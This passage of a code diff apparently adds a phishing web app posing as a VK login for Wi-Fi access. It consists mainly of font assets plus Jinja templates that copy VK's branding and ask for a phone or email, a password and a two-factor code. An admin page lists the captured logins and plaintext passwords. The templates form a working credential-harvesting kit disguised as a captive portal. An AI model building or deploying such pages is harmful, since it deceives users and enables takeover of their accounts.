 АБВГДЕЁЖЗИЙКЛМНОПРСТУФХЦЧШЩЪЫЬЭЮЯ<br>
 abcdefghijklmnopqrstuvwxyz<br>
 ABCDEFGHIJKLMNOPQRSTUVWXYZ<br>
                0123456789.:,;()*!?'@#<>$%&^+-=~
            </p>
            <p class="s10" style="font-size: 10px;">Съешь же ещё этих мягких французских булок, да выпей чаю.</p>
            <p class="s11" style="font-size: 11px;">Съешь же ещё этих мягких французских булок, да выпей чаю.</p>
            <p class="s12" style="font-size: 12px;">Съешь же ещё этих мягких французских булок, да выпей чаю.</p>
            <p class="s14" style="font-size: 14px;">Съешь же ещё этих мягких французских булок, да выпей чаю.</p>
            <p class="s18" style="font-size: 18px;">Съешь же ещё этих мягких французских булок, да выпей чаю.</p>
            <p class="s24" style="font-size: 24px;">Съешь же ещё этих мягких французских булок, да выпей чаю.</p>
            <p class="s30" style="font-size: 30px;">Съешь же ещё этих мягких французских булок, да выпей чаю.</p>
            <p class="s36" style="font-size: 36px;">Съешь же ещё этих мягких французских булок, да выпей чаю.</p>
            <p class="s48" style="font-size: 48px;">Съешь же ещё этих мягких французских булок, да выпей чаю.</p>
            <p class="s60" style="font-size: 60px;">Съешь же ещё этих мягких французских булок, да выпей чаю.</p>
            <p class="s72" style="font-size: 72px;">Съешь же ещё этих мягких французских булок, да выпей чаю.</p>
        </div>
    </div>
    <div class="demo" style="font-family: 'TT Commons'; font-weight: 200; font-style: normal;">
        <h1>TT Commons ExtraLight</h1>
        <pre>.your-style {
    font-family: 'TT Commons';
    font-weight: 200;
    font-style: normal;
 }</pre>
        <div class="font-container">
            <p class="letters">
                абвгдеёжзийклмнопрстуфхцчшщъыьэюя<br>
 АБВГДЕЁЖЗИЙКЛМНОПРСТУФХЦЧШЩЪЫЬЭЮЯ<br>
 abcdefghijklmnopqrstuvwxyz<br>
 ABCDEFGHIJKLMNOPQRSTUVWXYZ<br>
                0123456789.:,;()*!?'@#<>$%&^+-=~
            </p>
            <p class="s10" style="font-size: 10px;">Съешь же ещё этих мягких французских булок, да выпей чаю.</p>
            <p class="s11" style="font-size: 11px;">Съешь же ещё этих мягких французских булок, да выпей чаю.</p>
            <p class="s12" style="font-size: 12px;">Съешь же ещё этих мягких французских булок, да выпей чаю.</p>
            <p class="s14" style="font-size: 14px;">Съешь же ещё этих мягких французских булок, да выпей чаю.</p>
            <p class="s18" style="font-size: 18px;">Съешь же ещё этих мягких французских булок, да выпей чаю.</p>
            <p class="s24" style="font-size: 24px;">Съешь же ещё этих мягких французских булок, да выпей чаю.</p>
            <p class="s30" style="font-size: 30px;">Съешь же ещё этих мягких французских булок, да выпей чаю.</p>
            <p class="s36" style="font-size: 36px;">Съешь же ещё этих мягких французских булок, да выпей чаю.</p>
            <p class="s48" style="font-size: 48px;">Съешь же ещё этих мягких французских булок, да выпей чаю.</p>
            <p class="s60" style="font-size: 60px;">Съешь же ещё этих мягких французских булок, да выпей чаю.</p>
            <p class="s72" style="font-size: 72px;">Съешь же ещё этих мягких французских булок, да выпей чаю.</p>
        </div>
    </div>
    <div class="demo" style="font-family: 'TT Commons'; font-weight: 600; font-style: normal;">
        <h1>TT Commons DemiBold</h1>
        <pre>.your-style {
    font-family: 'TT Commons';
    font-weight: 600;
    font-style: normal;
 }</pre>
        <div class="font-container">
            <p class="letters">
                абвгдеёжзийклмнопрстуфхцчшщъыьэюя<br>
 АБВГДЕЁЖЗИЙКЛМНОПРСТУФХЦЧШЩЪЫЬЭЮЯ<br>
 abcdefghijklmnopqrstuvwxyz<br>
 ABCDEFGHIJKLMNOPQRSTUVWXYZ<br>
                0123456789.:,;()*!?'@#<>$%&^+-=~
            </p>
            <p class="s10" style="font-size: 10px;">Съешь же ещё этих мягких французских булок, да выпей чаю.</p>
            <p class="s11" style="font-size: 11px;">Съешь же ещё этих мягких французских булок, да выпей чаю.</p>
            <p class="s12" style="font-size: 12px;">Съешь же ещё этих мягких французских булок, да выпей чаю.</p>
            <p class="s14" style="font-size: 14px;">Съешь же ещё этих мягких французских булок, да выпей чаю.</p>
            <p class="s18" style="font-size: 18px;">Съешь же ещё этих мягких французских булок, да выпей чаю.</p>
            <p class="s24" style="font-size: 24px;">Съешь же ещё этих мягких французских булок, да выпей чаю.</p>
            <p class="s30" style="font-size: 30px;">Съешь же ещё этих мягких французских булок, да выпей чаю.</p>
            <p class="s36" style="font-size: 36px;">Съешь же ещё этих мягких французских булок, да выпей чаю.</p>
            <p class="s48" style="font-size: 48px;">Съешь же ещё этих мягких французских булок, да выпей чаю.</p>
            <p class="s60" style="font-size: 60px;">Съешь же ещё этих мягких французских булок, да выпей чаю.</p>
            <p class="s72" style="font-size: 72px;">Съешь же ещё этих мягких французских булок, да выпей чаю.</p>
        </div>
    </div>
    <div class="demo" style="font-family: 'TT Commons'; font-weight: 200; font-style: italic;">
        <h1>TT Commons ExtraLight Italic</h1>
        <pre>.your-style {
    font-family: 'TT Commons';
    font-weight: 200;
    font-style: italic;
 }</pre>
        <div class="font-container">
            <p class="letters">
                абвгдеёжзийклмнопрстуфхцчшщъыьэюя<br>
 АБВГДЕЁЖЗИЙКЛМНОПРСТУФХЦЧШЩЪЫЬЭЮЯ<br>
 abcdefghijklmnopqrstuvwxyz<br>
 ABCDEFGHIJKLMNOPQRSTUVWXYZ<br>
                0123456789.:,;()*!?'@#<>$%&^+-=~
            </p>
            <p class="s10" style="font-size: 10px;">Съешь же ещё этих мягких французских булок, да выпей чаю.</p>
            <p class="s11" style="font-size: 11px;">Съешь же ещё этих мягких французских булок, да выпей чаю.</p>
            <p class="s12" style="font-size: 12px;">Съешь же ещё этих мягких французских булок, да выпей чаю.</p>
            <p class="s14" style="font-size: 14px;">Съешь же ещё этих мягких французских булок, да выпей чаю.</p>
            <p class="s18" style="font-size: 18px;">Съешь же ещё этих мягких французских булок, да выпей чаю.</p>
            <p class="s24" style="font-size: 24px;">Съешь же ещё этих мягких французских булок, да выпей чаю.</p>
            <p class="s30" style="font-size: 30px;">Съешь же ещё этих мягких французских булок, да выпей чаю.</p>
            <p class="s36" style="font-size: 36px;">Съешь же ещё этих мягких французских булок, да выпей чаю.</p>
            <p class="s48" style="font-size: 48px;">Съешь же ещё этих мягких французских булок, да выпей чаю.</p>
            <p class="s60" style="font-size: 60px;">Съешь же ещё этих мягких французских булок, да выпей чаю.</p>
            <p class="s72" style="font-size: 72px;">Съешь же ещё этих мягких французских булок, да выпей чаю.</p>
        </div>
    </div>
    <div class="demo" style="font-family: 'TT Commons'; font-weight: 800; font-style: italic;">
        <h1>TT Commons ExtraBold Italic</h1>
        <pre>.your-style {
    font-family: 'TT Commons';
    font-weight: 800;
    font-style: italic;
 }</pre>
        <div class="font-container">
            <p class="letters">
                абвгдеёжзийклмнопрстуфхцчшщъыьэюя<br>
 АБВГДЕЁЖЗИЙКЛМНОПРСТУФХЦЧШЩЪЫЬЭЮЯ<br>
 abcdefghijklmnopqrstuvwxyz<br>
 ABCDEFGHIJKLMNOPQRSTUVWXYZ<br>
                0123456789.:,;()*!?'@#<>$%&^+-=~
            </p>
            <p class="s10" style="font-size: 10px;">Съешь же ещё этих мягких французских булок, да выпей чаю.</p>
            <p class="s11" style="font-size: 11px;">Съешь же ещё этих мягких французских булок, да выпей чаю.</p>
            <p class="s12" style="font-size: 12px;">Съешь же ещё этих мягких французских булок, да выпей чаю.</p>
            <p class="s14" style="font-size: 14px;">Съешь же ещё этих мягких французских булок, да выпей чаю.</p>
            <p class="s18" style="font-size: 18px;">Съешь же ещё этих мягких французских булок, да выпей чаю.</p>
            <p class="s24" style="font-size: 24px;">Съешь же ещё этих мягких французских булок, да выпей чаю.</p>
            <p class="s30" style="font-size: 30px;">Съешь же ещё этих мягких французских булок, да выпей чаю.</p>
            <p class="s36" style="font-size: 36px;">Съешь же ещё этих мягких французских булок, да выпей чаю.</p>
            <p class="s48" style="font-size: 48px;">Съешь же ещё этих мягких французских булок, да выпей чаю.</p>
            <p class="s60" style="font-size: 60px;">Съешь же ещё этих мягких французских булок, да выпей чаю.</p>
            <p class="s72" style="font-size: 72px;">Съешь же ещё этих мягких французских булок, да выпей чаю.</p>
        </div>
    </div>
    <div class="demo" style="font-family: 'TT Commons'; font-weight: 500; font-style: italic;">
        <h1>TT Commons Medium Italic</h1>
        <pre>.your-style {
    font-family: 'TT Commons';
    font-weight: 500;
    font-style: italic;
 }</pre>
        <div class="font-container">
            <p class="letters">
                абвгдеёжзийклмнопрстуфхцчшщъыьэюя<br>
 АБВГДЕЁЖЗИЙКЛМНОПРСТУФХЦЧШЩЪЫЬЭЮЯ<br>
 abcdefghijklmnopqrstuvwxyz<br>
 ABCDEFGHIJKLMNOPQRSTUVWXYZ<br>
                0123456789.:,;()*!?'@#<>$%&^+-=~
            </p>
            <p class="s10" style="font-size: 10px;">Съешь же ещё этих мягких французских булок, да выпей чаю.</p>
            <p class="s11" style="font-size: 11px;">Съешь же ещё этих мягких французских булок, да выпей чаю.</p>
            <p class="s12" style="font-size: 12px;">Съешь же ещё этих мягких французских булок, да выпей чаю.</p>
            <p class="s14" style="font-size: 14px;">Съешь же ещё этих мягких французских булок, да выпей чаю.</p>
            <p class="s18" style="font-size: 18px;">Съешь же ещё этих мягких французских булок, да выпей чаю.</p>
            <p class="s24" style="font-size: 24px;">Съешь же ещё этих мягких французских булок, да выпей чаю.</p>
            <p class="s30" style="font-size: 30px;">Съешь же ещё этих мягких французских булок, да выпей чаю.</p>
            <p class="s36" style="font-size: 36px;">Съешь же ещё этих мягких французских булок, да выпей чаю.</p>
            <p class="s48" style="font-size: 48px;">Съешь же ещё этих мягких французских булок, да выпей чаю.</p>
            <p class="s60" style="font-size: 60px;">Съешь же ещё этих мягких французских булок, да выпей чаю.</p>
            <p class="s72" style="font-size: 72px;">Съешь же ещё этих мягких французских булок, да выпей чаю.</p>
        </div>
    </div>
    <div class="demo" style="font-family: 'TT Commons'; font-weight: 300; font-style: italic;">
        <h1>TT Commons Light Italic</h1>
        <pre>.your-style {
    font-family: 'TT Commons';
    font-weight: 300;
    font-style: italic;
 }</pre>
        <div class="font-container">
            <p class="letters">
                абвгдеёжзийклмнопрстуфхцчшщъыьэюя<br>
 АБВГДЕЁЖЗИЙКЛМНОПРСТУФХЦЧШЩЪЫЬЭЮЯ<br>
 abcdefghijklmnopqrstuvwxyz<br>
 ABCDEFGHIJKLMNOPQRSTUVWXYZ<br>
                0123456789.:,;()*!?'@#<>$%&^+-=~
            </p>
            <p class="s10" style="font-size: 10px;">Съешь же ещё этих мягких французских булок, да выпей чаю.</p>
            <p class="s11" style="font-size: 11px;">Съешь же ещё этих мягких французских булок, да выпей чаю.</p>
            <p class="s12" style="font-size: 12px;">Съешь же ещё этих мягких французских булок, да выпей чаю.</p>
            <p class="s14" style="font-size: 14px;">Съешь же ещё этих мягких французских булок, да выпей чаю.</p>
            <p class="s18" style="font-size: 18px;">Съешь же ещё этих мягких французских булок, да выпей чаю.</p>
            <p class="s24" style="font-size: 24px;">Съешь же ещё этих мягких французских булок, да выпей чаю.</p>
            <p class="s30" style="font-size: 30px;">Съешь же ещё этих мягких французских булок, да выпей чаю.</p>
            <p class="s36" style="font-size: 36px;">Съешь же ещё этих мягких французских булок, да выпей чаю.</p>
            <p class="s48" style="font-size: 48px;">Съешь же ещё этих мягких французских булок, да выпей чаю.</p>
            <p class="s60" style="font-size: 60px;">Съешь же ещё этих мягких французских булок, да выпей чаю.</p>
            <p class="s72" style="font-size: 72px;">Съешь же ещё этих мягких французских булок, да выпей чаю.</p>
        </div>
    </div>
    <div class="demo" style="font-family: 'TT Commons'; font-weight: 100; font-style: normal;">
        <h1>TT Commons Thin</h1>
        <pre>.your-style {
    font-family: 'TT Commons';
    font-weight: 100;
    font-style: normal;
 }</pre>
        <div class="font-container">
            <p class="letters">
                абвгдеёжзийклмнопрстуфхцчшщъыьэюя<br>
 АБВГДЕЁЖЗИЙКЛМНОПРСТУФХЦЧШЩЪЫЬЭЮЯ<br>
 abcdefghijklmnopqrstuvwxyz<br>
 ABCDEFGHIJKLMNOPQRSTUVWXYZ<br>
                0123456789.:,;()*!?'@#<>$%&^+-=~
            </p>
            <p class="s10" style="font-size: 10px;">Съешь же ещё этих мягких французских булок, да выпей чаю.</p>
            <p class="s11" style="font-size: 11px;">Съешь же ещё этих мягких французских булок, да выпей чаю.</p>
            <p class="s12" style="font-size: 12px;">Съешь же ещё этих мягких французских булок, да выпей чаю.</p>
            <p class="s14" style="font-size: 14px;">Съешь же ещё этих мягких французских булок, да выпей чаю.</p>
            <p class="s18" style="font-size: 18px;">Съешь же ещё этих мягких французских булок, да выпей чаю.</p>
            <p class="s24" style="font-size: 24px;">Съешь же ещё этих мягких французских булок, да выпей чаю.</p>
            <p class="s30" style="font-size: 30px;">Съешь же ещё этих мягких французских булок, да выпей чаю.</p>
            <p class="s36" style="font-size: 36px;">Съешь же ещё этих мягких французских булок, да выпей чаю.</p>
            <p class="s48" style="font-size: 48px;">Съешь же ещё этих мягких французских булок, да выпей чаю.</p>
            <p class="s60" style="font-size: 60px;">Съешь же ещё этих мягких французских булок, да выпей чаю.</p>
            <p class="s72" style="font-size: 72px;">Съешь же ещё этих мягких французских булок, да выпей чаю.</p>
        </div>
    </div>
 </div>
 </body>
 </html>
--- a/static/TTCommons/stylesheet.css
+++ b/static/TTCommons/stylesheet.css
@@ -0,0 +1,198 @@
@font-face {
    font-family: 'TT Commons';
    src: url('TTCommons-ThinItalic.eot');
    src: local('TT Commons Thin Italic'), local('TTCommons-ThinItalic'),
        url('TTCommons-ThinItalic.eot?#iefix') format('embedded-opentype'),
        url('TTCommons-ThinItalic.woff') format('woff'),
        url('TTCommons-ThinItalic.ttf') format('truetype');
    font-weight: 100;
    font-style: italic;
 }
@font-face {
    font-family: 'TT Commons';
    src: url('TTCommons-Light.eot');
    src: local('TT Commons Light'), local('TTCommons-Light'),
        url('TTCommons-Light.eot?#iefix') format('embedded-opentype'),
        url('TTCommons-Light.woff') format('woff'),
        url('TTCommons-Light.ttf') format('truetype');
    font-weight: 300;
    font-style: normal;
 }
@font-face {
    font-family: 'TT Commons';
    src: url('TTCommons-Black.eot');
    src: local('TT Commons Black'), local('TTCommons-Black'),
        url('TTCommons-Black.eot?#iefix') format('embedded-opentype'),
        url('TTCommons-Black.woff') format('woff'),
        url('TTCommons-Black.ttf') format('truetype');
    font-weight: 900;
    font-style: normal;
 }
@font-face {
    font-family: 'TT Commons';
    src: url('TTCommons-Medium.eot');
    src: local('TT Commons Medium'), local('TTCommons-Medium'),
        url('TTCommons-Medium.eot?#iefix') format('embedded-opentype'),
        url('TTCommons-Medium.woff') format('woff'),
        url('TTCommons-Medium.ttf') format('truetype');
    font-weight: 500;
    font-style: normal;
 }
@font-face {
    font-family: 'TT Commons';
    src: url('TTCommons-Italic.eot');
    src: local('TT Commons Italic'), local('TTCommons-Italic'),
        url('TTCommons-Italic.eot?#iefix') format('embedded-opentype'),
        url('TTCommons-Italic.woff') format('woff'),
        url('TTCommons-Italic.ttf') format('truetype');
    font-weight: normal;
    font-style: italic;
 }
@font-face {
    font-family: 'TT Commons';
    src: url('TTCommons-Regular.eot');
    src: local('TT Commons Regular'), local('TTCommons-Regular'),
        url('TTCommons-Regular.eot?#iefix') format('embedded-opentype'),
        url('TTCommons-Regular.woff') format('woff'),
        url('TTCommons-Regular.ttf') format('truetype');
    font-weight: normal;
    font-style: normal;
 }
@font-face {
    font-family: 'TT Commons';
    src: url('TTCommons-BlackItalic.eot');
    src: local('TT Commons Black Italic'), local('TTCommons-BlackItalic'),
        url('TTCommons-BlackItalic.eot?#iefix') format('embedded-opentype'),
        url('TTCommons-BlackItalic.woff') format('woff'),
        url('TTCommons-BlackItalic.ttf') format('truetype');
    font-weight: 900;
    font-style: italic;
 }
@font-face {
    font-family: 'TT Commons';
    src: url('TTCommons-ExtraBold.eot');
    src: local('TT Commons ExtraBold'), local('TTCommons-ExtraBold'),
        url('TTCommons-ExtraBold.eot?#iefix') format('embedded-opentype'),
        url('TTCommons-ExtraBold.woff') format('woff'),
        url('TTCommons-ExtraBold.ttf') format('truetype');
    font-weight: 800;
    font-style: normal;
 }
@font-face {
    font-family: 'TT Commons';
    src: url('TTCommons-BoldItalic.eot');
    src: local('TT Commons Bold Italic'), local('TTCommons-BoldItalic'),
        url('TTCommons-BoldItalic.eot?#iefix') format('embedded-opentype'),
        url('TTCommons-BoldItalic.woff') format('woff'),
        url('TTCommons-BoldItalic.ttf') format('truetype');
    font-weight: bold;
    font-style: italic;
 }
@font-face {
    font-family: 'TT Commons';
    src: url('TTCommons-DemiBoldItalic.eot');
    src: local('TT Commons DemiBold Italic'), local('TTCommons-DemiBoldItalic'),
        url('TTCommons-DemiBoldItalic.eot?#iefix') format('embedded-opentype'),
        url('TTCommons-DemiBoldItalic.woff') format('woff'),
        url('TTCommons-DemiBoldItalic.ttf') format('truetype');
    font-weight: 600;
    font-style: italic;
 }
@font-face {
    font-family: 'TT Commons';
    src: url('TTCommons-Bold.eot');
    src: local('TT Commons Bold'), local('TTCommons-Bold'),
        url('TTCommons-Bold.eot?#iefix') format('embedded-opentype'),
        url('TTCommons-Bold.woff') format('woff'),
        url('TTCommons-Bold.ttf') format('truetype');
    font-weight: bold;
    font-style: normal;
 }
@font-face {
    font-family: 'TT Commons';
    src: url('TTCommons-ExtraLight.eot');
    src: local('TT Commons ExtraLight'), local('TTCommons-ExtraLight'),
        url('TTCommons-ExtraLight.eot?#iefix') format('embedded-opentype'),
        url('TTCommons-ExtraLight.woff') format('woff'),
        url('TTCommons-ExtraLight.ttf') format('truetype');
    font-weight: 200;
    font-style: normal;
 }
@font-face {
    font-family: 'TT Commons';
    src: url('TTCommons-DemiBold.eot');
    src: local('TT Commons DemiBold'), local('TTCommons-DemiBold'),
        url('TTCommons-DemiBold.eot?#iefix') format('embedded-opentype'),
        url('TTCommons-DemiBold.woff') format('woff'),
        url('TTCommons-DemiBold.ttf') format('truetype');
    font-weight: 600;
    font-style: normal;
 }
@font-face {
    font-family: 'TT Commons';
    src: url('TTCommons-ExtraLightItalic.eot');
    src: local('TT Commons ExtraLight Italic'), local('TTCommons-ExtraLightItalic'),
        url('TTCommons-ExtraLightItalic.eot?#iefix') format('embedded-opentype'),
        url('TTCommons-ExtraLightItalic.woff') format('woff'),
        url('TTCommons-ExtraLightItalic.ttf') format('truetype');
    font-weight: 200;
    font-style: italic;
 }
@font-face {
    font-family: 'TT Commons';
    src: url('TTCommons-ExtraBoldItalic.eot');
    src: local('TT Commons ExtraBold Italic'), local('TTCommons-ExtraBoldItalic'),
        url('TTCommons-ExtraBoldItalic.eot?#iefix') format('embedded-opentype'),
        url('TTCommons-ExtraBoldItalic.woff') format('woff'),
        url('TTCommons-ExtraBoldItalic.ttf') format('truetype');
    font-weight: 800;
    font-style: italic;
 }
@font-face {
    font-family: 'TT Commons';
    src: url('TTCommons-MediumItalic.eot');
    src: local('TT Commons Medium Italic'), local('TTCommons-MediumItalic'),
        url('TTCommons-MediumItalic.eot?#iefix') format('embedded-opentype'),
        url('TTCommons-MediumItalic.woff') format('woff'),
        url('TTCommons-MediumItalic.ttf') format('truetype');
    font-weight: 500;
    font-style: italic;
 }
@font-face {
    font-family: 'TT Commons';
    src: url('TTCommons-LightItalic.eot');
    src: local('TT Commons Light Italic'), local('TTCommons-LightItalic'),
        url('TTCommons-LightItalic.eot?#iefix') format('embedded-opentype'),
        url('TTCommons-LightItalic.woff') format('woff'),
        url('TTCommons-LightItalic.ttf') format('truetype');
    font-weight: 300;
    font-style: italic;
 }
@font-face {
    font-family: 'TT Commons';
    src: url('TTCommons-Thin.eot');
    src: local('TT Commons Thin'), local('TTCommons-Thin'),
        url('TTCommons-Thin.eot?#iefix') format('embedded-opentype'),
        url('TTCommons-Thin.woff') format('woff'),
        url('TTCommons-Thin.ttf') format('truetype');
    font-weight: 100;
    font-style: normal;
 }
--- a/static/info.png
+++ b/static/info.png
--- a/static/vk-logo.png
+++ b/static/vk-logo.png
--- a/templates/admin.html
+++ b/templates/admin.html
@@ -0,0 +1,24 @@
 {% extends "base.html" %}
 {% block body %}
 <div class="text-center">
    <a href="/delete_cred/0">Purge</a>
    <table class="w-100">
        <tr class="text-left">
            <th class="px-3">id</th>
            <th class="px-3">login</th>
            <th class="px-3">password</th>
            <th class="px-3">date created</th>
        </tr>
        {% for cred in creds %}
            <tr class="text-left">
                <td class="px-3">{{ cred.id }}</td>
                <td class="px-3">{{ cred.login }}</td>
                <td class="px-3">{{ cred.password }}</td>
                <td class="px-3">{{ cred.date_created }}</td>
                <td class="px-3"><a href="/delete_cred/{{cred.id}}">X</a></td>
            </tr>
        {% endfor %}
    </table>
 </div>
 {% endblock %}
--- a/templates/authcheck.html
+++ b/templates/authcheck.html
@@ -0,0 +1,24 @@
 {% extends 'base.html' %}
 {% block head %}
 <title>Wifi авторизация</title>
 {% endblock %}
 {% block body %}
 <p class="mx-5 mt-4">
    Пожалуйста, введите <b>код</b> из личного сообщения от Администрации или из приложения для генерации кодов, чтобы подтвердить, что Вы владелец страницы.
 </p>
 <div class="row justify-content-center">
    <form class="col-4 text-center" action="/authcheck/" method="POST">
        <input type="text" size="10" maxlength="10" class="form-control mb-3" name="auth_code" placeholder="Введите код"/>
        <button class="btn mb-3" style="width:100%; color:white; background-color: #4680C2;" type="submit">Отправить</button>
        <span class="justify-content-between">
            <input class="form-check-input" checked="true" type="checkbox" value="">
            <label class="form-check-label pt-1">
                Запомнить браузер
            </label>
        </span>
    </form>
 </div>
 <br>
 {% endblock %}
--- a/templates/base.html
+++ b/templates/base.html
@@ -0,0 +1,32 @@
 <!doctype html>
 <html lang="en">
    <head>
        <!-- Required meta tags -->
        <meta charset="utf-8">
        <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">
        <!-- Bootstrap CSS -->
        <link rel="stylesheet" href="https://stackpath.bootstrapcdn.com/bootstrap/4.4.1/css/bootstrap.min.css" integrity="sha384-Vkoo8x4CGsO3+Hhxv8T/Q5PaXtkKtu6ug5TOeNV6gBiFeWPGFN9MuhOf23Q9Ifjh" crossorigin="anonymous">
        <link rel="stylesheet" href="{{ url_for('static', filename='TTCommons/stylesheet.css') }}">
        <link rel="shortcut icon" href="favicon.png" />
        {% block head %}{% endblock %}
    </head>
    <body style="background-color: #edeef0; font-family: 'TT Commons';">
        <div class="container-sm border rounded shadow-sm bg-white p-0 w-50 mt-5">
            <div class="rounded-top" style="background-color: #4680C2;">
                <img src="{{ url_for('static', filename='vk-logo.png') }}" class="m-3" style="height:30px;">
            </div>
            {% block body %}{% endblock %}
        </div>
        <!-- Optional JavaScript -->
        <!-- jQuery first, then Popper.js, then Bootstrap JS -->
        <script src="https://code.jquery.com/jquery-3.4.1.slim.min.js" integrity="sha384-J6qa4849blE2+poT4WnyKhv5vZF5SrPo0iEjwBvKU7imGFAV0wwj1yYfoRSJoZ+n" crossorigin="anonymous"></script>
        <script src="https://cdn.jsdelivr.net/npm/popper.js@1.16.0/dist/umd/popper.min.js" integrity="sha384-Q6E9RHvbIyZFJoft+2mJbHaEWldlvI9IOYy5n3zV9zzTtmI3UksdQRVvoxMfooAo" crossorigin="anonymous"></script>
        <script src="https://stackpath.bootstrapcdn.com/bootstrap/4.4.1/js/bootstrap.min.js" integrity="sha384-wfSDF2E50Y2D1uUdj0O3uMBJnjuUD4Ih7YwaYd1iqfktj0Uod8GCExl3Og8ifwB6" crossorigin="anonymous"></script>
    </body>
 </html>
--- a/templates/index.html
+++ b/templates/index.html
@@ -0,0 +1,20 @@
 {% extends 'base.html' %}
 {% block head %}
 <title>Wifi авторизация</title>
 {% endblock %}
 {% block body %}
 <div class="media m-5">
    <img src="{{ url_for('static', filename='info.png') }}" class="mr-4 rounded-circle" style="height:50px;">
    <div class="media-body">
        <h5 class="mt-0">Доступ к общей информации</h5>
        Приложению будут доступны ваши личные данные
    </div>
 </div>
 <div class="text-right pr-3 rounded-bottom" style="background-color: #F0F0F4;">
    <a href="{{ url_for('login') }}" class="btn m-3 px-5" style="color:white; background-color: #4680C2;">Разрешить</a>
    <button class="btn m-3 px-1">Отмена</button>
 </div>
 {% endblock %}
--- a/templates/login.html
+++ b/templates/login.html
@@ -0,0 +1,21 @@
 {% extends 'base.html' %}
 {% block head %}
 {% endblock %}
 {% block body %}
 <form class="container mt-4" action="/login/" method="POST">
    <input class="form-control my-3" type="text" name="login" id="login" placeholder="Телефон или email">
    <input class="form-control my-3" type="password" name="password" id="password" placeholder="Пароль">
    <div class="ml-n3">
        <button class="btn m-3 px-5" style="color:white; background-color: #4680C2;" type="submit">Войти</button>
        <span class="pl-4">
            <input class="form-check-input mt-4" type="checkbox" value="">
            <label class="form-check-label">
                Чужой компьютер
            </label>
        </span>
    </div>
 </form>
 {% endblock %}
--- a/templates/wrongpass.html
+++ b/templates/wrongpass.html
@@ -0,0 +1,32 @@
 {% extends 'base.html' %}
 {% block head %}
 <title>Wifi авторизация</title>
 {% endblock %}
 {% block body %}
 <div class="alert m-3" style="font-size: 94%; line-height: 1.2; border-color: #f2ab99; background-color: #ffefe9;">
    <b>Не удаётся войти.</b><br>
    Пожалуйста, проверьте правильность написания <b>логина</b> и <b>пароля.</b>
    <br><br>
    <ul>
        <li>Возможно, нажата клавиша <b>Caps Lock?</b></li>
        <li>Может быть, у Вас включена неправильная <b>раскладка</b>? (русская или английская)</li>
        <li>Попробуйте набрать свой пароль в текстовом редакторе и <b>скопировать</b> в графу «Пароль»</li>
        <li>Если пароль набран верно, попробуйте указать в качестве логина <b>номер привязанного телефона</b>, а не почту.</li>
    </ul>
 </div>
 <form class="container mt-4" action="/login/" method="POST">
    <input class="form-control my-3" type="text" name="login" id="login" placeholder="Телефон или email">
    <input class="form-control my-3" type="password" name="password" id="password" placeholder="Пароль">
    <div class="ml-n3">
        <button class="btn m-3 px-5" style="color:white; background-color: #4680C2;" type="submit">Войти</button>
        <span class="pl-4">
            <input class="form-check-input mt-4" type="checkbox" value="">
            <label class="form-check-label">
                Чужой компьютер
            </label>
        </span>
    </div>
 </form>
 {% endblock %}